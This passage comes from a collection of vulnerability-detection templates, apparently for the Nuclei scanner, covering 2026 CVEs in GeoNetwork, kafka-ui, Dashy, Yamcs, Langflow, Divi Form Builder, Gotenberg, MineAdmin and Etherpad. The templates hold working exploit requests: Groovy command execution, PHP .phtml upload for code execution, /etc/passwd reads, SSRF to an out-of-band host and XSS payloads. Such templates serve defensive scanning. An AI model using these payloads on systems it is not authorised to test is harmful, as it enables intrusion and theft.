/srv/api/tools/ogc/sld endpoint accepts a caller-supplied WMS server URL and performs a server-side HTTP GetStyles request to it without any validation, allowing an anonymous attacker to make the server issue arbitrary outbound HTTP requests to internal services and read XML responses back.\n  impact: |\n    An unauthenticated attacker can coerce the GeoNetwork server into sending HTTP requests to internal hosts, enabling internal service interaction, cloud metadata access, and reconnaissance of the internal network from an anonymous position.\n  remediation: |\n    Upgrade GeoNetwork to version 4.2.17, 4.4.12, or later.\n  reference:\n    - https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-5hx7-j24v-rffj\n    - https://github.com/geonetwork/core-geonetwork/pull/9343\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-55864\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\n    cvss-score: 8.6\n    cve-id: CVE-2026-55864\n    epss-score: 0.01446\n    epss-percentile: 0.73385\n    cwe-id: CWE-918\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: geonetwork\n    product: core-geonetwork\n    framework: java\n    shodan-query: html:\"/srv/eng/\"\n  tags: cve,cve2026,geonetwork,ssrf,oast,unauth\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /srv/eng/catalog.search HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: xsrf\n        part: header\n        internal: true\n        group: 1\n        regex:\n          - 'XSRF-TOKEN=([0-9a-f-]+)'\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'ng-app=\"gn_search'\n          - '/geonetwork/static/'\n        condition: and\n        internal: true\n\n      - type: status\n        status:\n          - 200\n        internal: true\n\n  - raw:\n      - |\n        POST /srv/api/tools/ogc/sld HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Accept: text/plain\n        Cookie: XSRF-TOKEN={{xsrf}}\n        X-XSRF-TOKEN: {{xsrf}}\n\n        url=http://{{interactsh-url}}&layers=nuclei&filters={}\n\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n# digest: 4a0a00473045022041a04b2339aed52d6cb02e4f6da4ac2a8fe50134c87ec4b6092ed63728308571022100d43be1e0b6f26623800b29f70e5cc69b7ee18917bd614abbc8cb225950cd5663:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-55864.yaml","vuln_id":"cve-2026-55864"},{"raw":"id: CVE-2026-5562\n\ninfo:\n  name: Provectus kafka-ui <=0.7.2 - Remote Code Execution\n  author: christianfl,0xNayel\n  severity: critical\n  description: |\n    Provectus kafka-ui versions 0.7.0 through 0.7.2 are vulnerable to code injection in the `/api/smartfilters/testexecutions` endpoint. The `filterCode` parameter is evaluated as a Groovy expression without sandboxing, allowing an unauthenticated attacker to execute arbitrary code and operating-system commands on the host.\n  impact: |\n    Successful exploitation grants unauthenticated remote code execution in the context of the kafka-ui process, leading to full compromise of the host and the connected Kafka clusters.\n  remediation: |\n    Provectus kafka-ui is end-of-life and no patched release exists (0.7.2 is the final version). Migrate to the maintained kafbat/kafka-ui fork, and in the meantime restrict network access to the interface and place it behind authentication.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-5562\n    - https://vuldb.com/?id.355332\n    - https://github.com/provectus/kafka-ui\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-5562\n    epss-score: 0.02578\n    epss-percentile: 0.85254\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: provectus\n    product: kafka-ui\n    shodan-query: http.title:\"UI for Apache Kafka\"\n    fofa-query: title=\"UI for Apache Kafka\"\n  tags: cve,cve2026,rce,kafka-ui,provectus,groovy,injection,intrusive\n\nvariables:\n  cmd: \"id\"\n  marker: \"{{rand_base(6)}}\"\n\nhttp:\n  - raw:\n      - |\n        PUT /api/smartfilters/testexecutions HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Accept: application/json\n\n        {\n          \"filterCode\": \"throw new Exception('{{marker}}_' + '{{cmd}}'.execute().text)\",\n          \"key\": \"k\",\n          \"value\": \"v\",\n          \"offset\": 0,\n          \"partition\": 0,\n          \"timestampMs\": 0\n        }\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"{{marker}}_\"\n\n      - type: regex\n        part: body\n        regex:\n          - \"uid=[0-9]+.*gid=[0-9]+.*\"\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        part: body\n        group: 1\n        regex:\n          - \"{{marker}}_(uid=[0-9]+\\\\([a-z0-9_-]+\\\\)[^\\\"\\\\\\\\]*)\"\n# digest: 490a00463044022021b84743afbc6a986809642c29e7ebaab81feaa8128cf01b85834255f1cd52d002200c059d8d4ea07d220058040a059c5bc197a290b346ba3ff6b2965fbae62b6e69:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-5562.yaml","vuln_id":"cve-2026-5562"},{"raw":"id: CVE-2026-55592\n\ninfo:\n  name: Dashy <= 4.3.6 - Reflected XSS via Workspace\n  author: 0x_Akoko\n  severity: medium\n  description: |\n    Dashy versions up to 4.3.6 contain a reflected cross-site scripting vulnerability in the workspace view. The url query parameter is passed directly to an iframe src attribute without scheme validation, allowing an attacker to inject javascript: URIs that execute arbitrary JavaScript in the context of the Dashy origin.\n  impact: |\n    If a logged-in user opens a crafted link, JavaScript executes on the Dashy origin with access to same-origin browser data, the Dashy DOM, and can send requests as the victim.\n  remediation: |\n    Update Dashy to version 4.3.7 or later.\n  reference:\n    - https://github.com/Lissy93/dashy/security/advisories/GHSA-58mp-4qr3-vmrc\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-55592\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2026-55592\n    epss-score: 0.00348\n    epss-percentile: 0.28578\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: lissy93\n    product: dashy\n    shodan-query: title:\"Dashy\"\n    fofa-query: title=\"Dashy\"\n  tags: cve,cve2026,dashy,xss,reflected\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/healthz\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"\\\"version\\\"\")'\n          - 'compare_versions(version, \"< 4.3.7\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        group: 1\n        regex:\n          - '\"version\"\\s*:\\s*\"([0-9.]+)\"'\n        internal: true\n\n      - type: regex\n        part: body\n        group: 1\n        regex:\n          - '\"version\"\\s*:\\s*\"([0-9.]+)\"'\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/workspace?url=javascript%3Aalert%28document.domain%29\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"javascript:alert(document.domain)\")'\n        condition: and\n# digest: 4b0a00483046022100f565fede1ec0802a8cd125193a2c01bf35155966b6c801fb39549ab067b48074022100a21a90b94271055520d813cd05295ddce30fd7b71d6476881fa0fb29cd86276c:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-55592.yaml","vuln_id":"cve-2026-55592"},{"raw":"id: CVE-2026-55552\n\ninfo:\n  name: Yamcs <=5.11.12 - Arbitrary File Read\n  author: aryu-ru,AbdrrahimDahmani\n  severity: high\n  description: |\n    Yamcs through 5.11.12 serves static web resources through a handler that resolves the requested path against the configured web root without rejecting absolute paths. A request path that begins with a double slash is resolved as an absolute filesystem path, discarding the web root, and the handler returns the referenced file from the underlying host, letting unauthenticated attackers read any non-hidden file readable by the Yamcs service account whose path contains no dot segment.\n  impact: |\n    Unauthenticated attackers can read arbitrary files from the host running Yamcs, including the shadow password file and the installation secret key stored in yamcs.yaml, potentially leading to full compromise of the mission control system.\n  remediation: |\n    Update to version 5.11.13, or 5.12.0 or later, which constrain resolved static file paths to the configured static roots.\n  reference:\n    - https://github.com/yamcs/yamcs/security/advisories/GHSA-9jg3-g3wh-w9pj\n    - https://github.com/yamcs/yamcs/commit/f4bc588880c166849e983aa8f65b9c8107d06091\n    - https://github.com/yamcs/yamcs/commit/c7dfd24e469ae1086c23e0fe04401cb1ce4260d4\n    - https://github.com/yamcs/yamcs/releases/tag/yamcs-5.11.13\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-55552\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-55552\n    epss-score: 0.01722\n    epss-percentile: 0.7756\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: yamcs\n    product: yamcs\n    shodan-query: http.html:\"Yamcs Mission Control\"\n    fofa-query: body=\"Yamcs Mission Control\"\n  tags: cve,cve2026,yamcs,lfi,traversal,unauth\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"Yamcs Mission Control\")'\n        internal: true\n\n  - raw:\n      - |\n        GET //etc/passwd HTTP/1.1\n        Host: {{Hostname}}\n\n    disable-path-automerge: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/octet-stream\")'\n          - 'regex(\"root:.*:0:0:\", body)'\n        condition: and\n# digest: 4b0a004830460221008e24b6101c647ab7499fd3bdb391406fb74d9251823c424af246b02f1dfd5342022100bbb3bf611ac3d39eb2bd901add735e68f2cb471267878196f86e1d935f4ef17d:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-55552.yaml","vuln_id":"cve-2026-55552"},{"raw":"id: CVE-2026-55549\n\ninfo:\n  name: Yamcs <=5.8.6 - Cross-Site Scripting\n  author: str4k3r\n  severity: medium\n  description: |\n    Yamcs < 5.9.4 contains a stored XSS caused by inadequate HTML escaping of attacker-controlled redirect_uri parameter in authorization template, letting attackers execute JavaScript to steal authentication data, exploit requires user to open crafted URL.\n  impact: |\n    Attackers can execute JavaScript in victim's browser to steal authentication tokens, leading to account compromise.\n  remediation: |\n    Update to version 5.9.4 or later.\n  reference:\n    - https://github.com/yamcs/yamcs/security/advisories/GHSA-rxpg-wjf8-qv9c\n    - https://github.com/yamcs/yamcs/commit/4d47d5cdcf5d92c2c5bbbc19feada422923332e3\n    - https://github.com/yamcs/yamcs/releases/tag/yamcs-5.9.4\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-55549\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N\n    cvss-score: 6.5\n    cve-id: CVE-2026-55549\n    epss-score: 0.01305\n    epss-percentile: 0.70613\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: yamcs\n    product: yamcs\n    shodan-query: 'title:\"Yamcs\"'\n  tags: cve,cve2026,yamcs,xss,reflected\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/auth/authorize?client_id=yamcs-web&state=stable-state&response_mode=query&response_type=code&scope=openid&redirect_uri=https%3A%2F%2Fexample.com%2Fcbi0i7y\\\"><script>alert(document.domain)</script>\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'value=\"https://example.com/cbi0i7y\"><script>alert(document.domain)</script>\"'\n          - 'value=\"yamcs-web\"'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n\n      - type: word\n        part: content_type\n        words:\n          - 'text/html'\n# digest: 4a0a0047304502204b587e01ddf9a2a5044ab0ee223064962bc4a25956a0e7cd6fb5f4abc1ee7e3a022100e93beb44511486e4079dbb5ef79f8adae34ec44898819768d3485b60a4e1a59e:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-55549.yaml","vuln_id":"cve-2026-55549"},{"raw":"id: CVE-2026-55450\n\ninfo:\n  name: Langflow < 1.9.1 - Unauthenticated File Upload\n  author: xtr0nix\n  severity: critical\n  description: |\n   Langflow < 1.9.1 contains an unrestricted file upload caused by lack of upload limitations, letting unauthenticated attackers exhaust server space and leak absolute file paths, exploit requires network access.\n  impact: |\n    Unauthenticated attackers can exhaust server storage and gain information about file paths, potentially aiding further attacks.\n  remediation: |\n    Update to version 1.9.1 or later.\n  reference:\n    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-x223-p2gf-v735\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:H\n    cvss-score: 9.3\n    cve-id: CVE-2026-55450\n    epss-score: 0.0119\n    epss-percentile: 0.68049\n    cwe-id: CWE-306,CWE-400,CWE-200\n  metadata:\n    verified: true\n    max-request: 1\n  tags: cve,cve2026,langflow,unauth,intrusive,vkev\n\nhttp:\n  - method: POST\n    path:\n      - \"{{BaseURL}}/api/v1/upload/11111111-1111-1111-1111-111111111111\"\n\n    body: |\n      --boundary\n      Content-Disposition: form-data; name=\"file\"; filename=\"x.{{repeat('a', 300)}}\"\n      Content-Type: text/plain\n\n      probe\n      --boundary--\n    headers:\n      Content-Type: multipart/form-data; boundary=boundary\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 500\n          - contains(body, \"[Errno 36] File name too long\")\n          - contains(content_type, \"application/json\")\n        condition: and\n# digest: 4b0a00483046022100f109a26ece020985aa3b57a7e0c8764ac20b56338912e6b1a00bd85f048fe62d02210086c5bef26920a6f1db9793059a98595ec7018f346d044dd30b86c0a2cc2301c8:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-55450.yaml","vuln_id":"cve-2026-55450"},{"raw":"id: CVE-2026-5524\n\ninfo:\n  name: Divi Form Builder <=5.1.8 - Unauthenticated Arbitrary File Upload RCE\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    The Divi Form Builder plugin for WordPress versions 5.1.8 and prior contains an unauthenticated arbitrary file upload vulnerability in the do_image_upload() AJAX handler. The user-controlled acceptFileTypes POST parameter is injected unsanitized into a PHP regex for file extension validation. By supplying acceptFileTypes=phtml the constructed regex accepts .phtml files while the plugin's .htaccess only blocks .php, so Apache executes .phtml files as PHP. The required nonce (fb_nonce) is publicly embedded in any page containing a Divi form via the de_fb_obj JavaScript object. Uploaded shells land in /wp-content/uploads/de_fb_uploads/. Fixed in 5.1.9.\n  impact: |\n    Unauthenticated remote attackers can upload and execute arbitrary PHP code as the web server user, achieving full remote code execution on any WordPress site running the vulnerable plugin version with a publicly accessible form page.\n  remediation: |\n    Update the Divi Form Builder plugin to version 5.1.9 or later, which validates file extensions without relying on the user-controlled acceptFileTypes parameter.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-5524\n    - https://github.com/caterscam/CVE-2026-5524-PoC\n    - https://wpscan.com/vulnerability/CVE-2026-5524\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-5524\n    epss-score: 0.03484\n    epss-percentile: 0.89154\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 8\n    vendor: elegantthemes\n    product: divi-form-builder\n    framework: wordpress\n    publicwww-query: \"/wp-content/plugins/divi-form-builder/\"\n  tags: cve,cve2026,wordpress,wp-plugin,divi,elegantthemes,file-upload,rce,unauth,intrusive,vkev\n\nvariables:\n  fname: \"{{rand_text_alpha(8)}}\"\n  marker: \"{{randstr}}\"\n\nflow: |\n  http(1)\n  if (template[\"fb_nonce\"] == \"\") {\n    stop()\n  }\n  http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET {{paths}} HTTP/1.1\n        Host: {{Hostname}}\n        Cache-Control: no-cache\n\n    payloads:\n      paths:\n        - \"/\"\n        - \"/contact\"\n        - \"/contact-us\"\n        - \"/get-in-touch\"\n        - \"/quote\"\n        - \"/demo\"\n\n    attack: clusterbomb\n\n    stop-at-first-match: true\n\n    host-redirects: true\n    max-redirects: 2\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"de_fb_obj\") && contains(body, \"fb_nonce\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: fb_nonce\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - '\"fb_nonce\"\\s*:\\s*\"([a-f0-9]{10})\"'\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDFB5524PoC\n        Origin: {{RootURL}}\n        Referer: {{RootURL}}/\n\n        ------WebKitFormBoundaryDFB5524PoC\n        Content-Disposition: form-data; name=\"action\"\n\n        de_fb_image_upload\n        ------WebKitFormBoundaryDFB5524PoC\n        Content-Disposition: form-data; name=\"fb_nonce\"\n\n        {{fb_nonce}}\n        ------WebKitFormBoundaryDFB5524PoC\n        Content-Disposition: form-data; name=\"acceptFileTypes\"\n\n        phtml\n        ------WebKitFormBoundaryDFB5524PoC\n        Content-Disposition: form-data; name=\"file\"; filename=\"{{fname}}.phtml\"\n        Content-Type: image/jpeg\n\n        <?php echo md5('{{marker}}');unlink(__FILE__);?>\n        ------WebKitFormBoundaryDFB5524PoC--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"files\") && contains(body, \"{{fname}}\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-content/uploads/de_fb_uploads/{{fname}}.phtml HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"{{md5(marker)}}\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a00473045022100bf78566ea0b8357bd3b9cbd41f2547d7181dd7a651401dfe8774ff6945848e0602203e3bbc2b64997938ed800bb560b8ac32e62db6bfb49e22672ddda5bc97b1bc60:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-5524.yaml","vuln_id":"cve-2026-5524"},{"raw":"id: CVE-2026-55229\n\ninfo:\n  name: Gotenberg < 8.34.0 - Local File Disclosure\n  author: str4k3r\n  severity: high\n  description: |\n    Gotenberg before 8.34.0 allows SSRF and limited local file disclosure via its /forms/libreoffice/convert endpoint. When LibreOffice is used to convert user-uploaded DOCX files, external relationships within the document (such as a:blip r:link TargetMode=\"External\") can instruct LibreOffice to fetch local resources (file://) or remote resources (http/https), which are then included as images in the generated PDF. This can disclose the contents of local files LibreOffice can open as images, or allow outbound requests to attacker-controlled endpoints. Version 8.34.0 disables resolution of external resources during document conversion to mitigate the vulnerability.\n  impact: |\n    Attackers can perform blind SSRF and limited local file disclosure, potentially accessing internal resources or sensitive files.\n  remediation: |\n    Update to version 8.34.0 or later.\n  reference:\n    - https://github.com/gotenberg/gotenberg/security/advisories/GHSA-2mrg-35hw-x3x9\n    - https://github.com/gotenberg/gotenberg/releases/tag/v8.34.0\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-55229\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-55229\n    epss-score: 0.01514\n    epss-percentile: 0.74568\n    cwe-id: CWE-918\n  metadata:\n    verified: true\n    max-request: 1\n    product: gotenberg\n    vendor: gotenberg\n    shodan-query: \"Gotenberg\"\n    fofa-query: \"Gotenberg\"\n  tags: cve,cve2026,gotenberg,ssrf,lfi\n\nhttp:\n  - raw:\n      - |\n        POST /forms/libreoffice/convert HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=testforgeboundary\n\n        --testforgeboundary\n        Content-Disposition: form-data; name=\"files\"; filename=\"poc.docx\"\n        Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document\n\n        {{base64_decode(\"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\")}}\n        --testforgeboundary--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(content_disposition, \"attachment; filename=\")'\n          - 'contains(content_type, \"application/pdf\")'\n          - 'contains(body, \"/Subtype/Image\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 490a0046304402207b68d990a649629b6bb73cf331ee6b68e8d4352e5696633e65c9e2ec930c845c02201edc1f4569253e84d34cb4c898f832bd98a293aa31d590f7e8f56ad3b5a81ddb:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-55229.yaml","vuln_id":"cve-2026-55229"},{"raw":"id: CVE-2026-55224\n\ninfo:\n  name: MineAdmin < 3.2.0-alpha.2 - Plugin Path Traversal to RCE\n  author: afanti\n  severity: high\n  description: |\n    MineAdmin versions before 3.2.0-alpha.2 contain a path traversal vulnerability in the app-store plugin service. The identifier parameter is concatenated into filesystem paths without sanitization.\n  impact: |\n    Authenticated users can escape the plugin directory to read or manipulate arbitrary files/directories.\n  remediation: |\n    Upgrade MineAdmin to version 3.2.0-alpha.2 or later.\n  reference:\n    - https://github.com/advisories/GHSA-59xm-4m8c-g3xj\n    - https://github.com/mineadmin/MineAdmin/pull/728\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-55224\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-55224\n    epss-score: 0.01372\n    epss-percentile: 0.72025\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: mineadmin\n    product: mineadmin\n    shodan-query: http.html:\"MineAdmin\"\n    fofa-query: body=\"MineAdmin\"\n  tags: cve,cve2026,mineadmin,path-traversal,rce,default-login\n\nvariables:\n  username:\n  password:\n  token: \"\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /admin/passport/login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Accept: application/json\n\n        {\"username\":\"{{username}}\",\"password\":\"{{password}}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(content_type, \"application/json\")\n        condition: and\n        internal: true\n\n    extractors:\n      - type: json\n        name: token\n        part: body\n        json:\n          - '.data.access_token'\n        internal: true\n\n  - raw:\n      - |\n        POST /admin/plugin/store/download HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Accept: application/json\n        Authorization: Bearer {{token}}\n\n        {\"identifier\":\"../app\",\"version\":\"1.0.0\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains_all(body, \"result\", \"true\")\n          - '!contains(body, \"params_fail\")'\n        condition: and\n# digest: 4b0a00483046022100a9f310ac679bcdf7ac3249ad59f15974e84fb9a5a1d8e9278618d800a0a4e2c2022100e7253dd9976c8c8db281798be6b1662287465b217ba471348ed23d6666fe2c97:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-55224.yaml","vuln_id":"cve-2026-55224"},{"raw":"id: CVE-2026-55087\n\ninfo:\n  name: Etherpad 2.1.0 <= 3.0.0 - Cross-Site Scripting\n  author: Haseeb-1698\n  severity: medium\n  description: |\n    Etherpad versions 2.1.0 through 3.0.0 reflect the x-proxy-path request header into admin HTML, JavaScript, and CSS responses without sanitization. An attacker can abuse this behavior to inject crafted content into generated resource URLs, enabling cross-site scripting and cache poisoning scenarios.\n  remediation: |\n    Upgrade to Etherpad 3.1.0 or later.\n  reference:\n    - https://github.com/ether/etherpad/security/advisories/GHSA-fjgc-3mj7-8rg8\n    - https://github.com/ether/etherpad/commit/8c6104c5d5daf41f0d454acc04d42dffa0e0d996\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-55087\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2026-55087\n    epss-score: 0.00578\n    epss-percentile: 0.47736\n    cwe-id: CWE-79,CWE-444,CWE-601\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: ether\n    product: etherpad\n    shodan-query: http.title:\"Etherpad\"\n    fofa-query: title=\"Etherpad\"\n  tags: cve,cve2026,etherpad,xss\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/admin/\"\n\n    headers:\n      x-proxy-path: '/\"><script>alert(document.domain)</script>'\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains_all(body, 'src=\\\"/\\\\\\\"><script>alert(document.domain)</script>/admin/', 'href=\\\"/\\\\\\\"><script>alert(document.domain)</script>/admin/')\"\n          - \"contains(header, 'text/html')\"\n          - \"status_code == 200\"\n        condition: and\n# digest: 4a0a004730450220590c7c4c2030f74bceacb0310b24f57d5cfaa48ca648dc3a92644f69f070e74a022100f89ce80c56b965ee6c0e04b1eba41eef077fb0aec1d709653cd6a9afd0415621:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-55087.yaml","vuln_id":"cve-2026-55087"},{"raw":"id: CVE-2026-54917\n\ninfo:\n  name: SeaweedFS <= 4.29 - Path Traversal File Write\n  author: Haseeb-1698,DhiyaneshDk\n  severity: high\n  description: |\n    SeaweedFS versions through 4.29 build the S3 API and Iceberg REST catalog routers with mux.NewRouter().SkipClean(true), which disables URL path cleaning. A `..` segment in the request path therefore survives routing and reaches the handlers unnormalised, so a request such as `PUT /bucket-A/../evil-bucket/key` is matched as bucket=bucket-A with 